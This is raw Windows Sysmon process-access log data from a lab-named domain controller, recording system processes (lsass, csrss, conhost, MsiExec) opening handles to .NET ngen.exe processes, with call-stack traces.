14:43:45.694{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-CB07-00000000F001}7152c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039148Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.678{7BD73061-6F21-613B-CC07-00000000F001}55721008C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-CB07-00000000F001}7152c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039147Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.663{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-CC07-00000000F001}5572C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039146Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.663{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-CB07-00000000F001}7152c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039145Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.663{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-CB07-00000000F001}7152c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039144Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.647{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-C907-00000000F001}6704c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039143Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.647{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-C907-00000000F001}6704c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039142Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.631{7BD73061-6F21-613B-CA07-00000000F001}70844964C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-C907-00000000F001}6704c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039141Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.616{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-CA07-00000000F001}7084C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039140Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.600{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-C907-00000000F001}6704c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039139Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.600{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-C907-00000000F001}6704c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039138Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.585{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-C707-00000000F001}6212c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039137Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.585{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-C707-00000000F001}6212c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039136Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.569{7BD73061-6F21-613B-C807-00000000F001}68164312C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-C707-00000000F001}6212c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039135Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.569{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-C807-00000000F001}6816C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039134Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.553{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-C707-00000000F001}6212c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039133Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.553{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-C707-00000000F001}6212c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039132Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.538{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-C507-00000000F001}1092c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039131Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.538{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-C507-00000000F001}1092c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039130Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.522{7BD73061-6F21-613B-C607-00000000F001}62285476C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-C507-00000000F001}1092c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039129Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.522{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-C607-00000000F001}6228C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039128Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.506{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-C507-00000000F001}1092c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039127Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.506{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-C507-00000000F001}1092c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039126Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.491{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-C307-00000000F001}5184c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039125Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.491{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-C307-00000000F001}5184c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039124Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.475{7BD73061-6F21-613B-C407-00000000F001}57924988C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-C307-00000000F001}5184c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039123Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.475{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-C407-00000000F001}5792C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039122Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.475{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-C307-00000000F001}5184c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039121Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.475{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-C307-00000000F001}5184c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039120Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.460{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-C107-00000000F001}3876c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039119Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.460{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-C107-00000000F001}3876c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 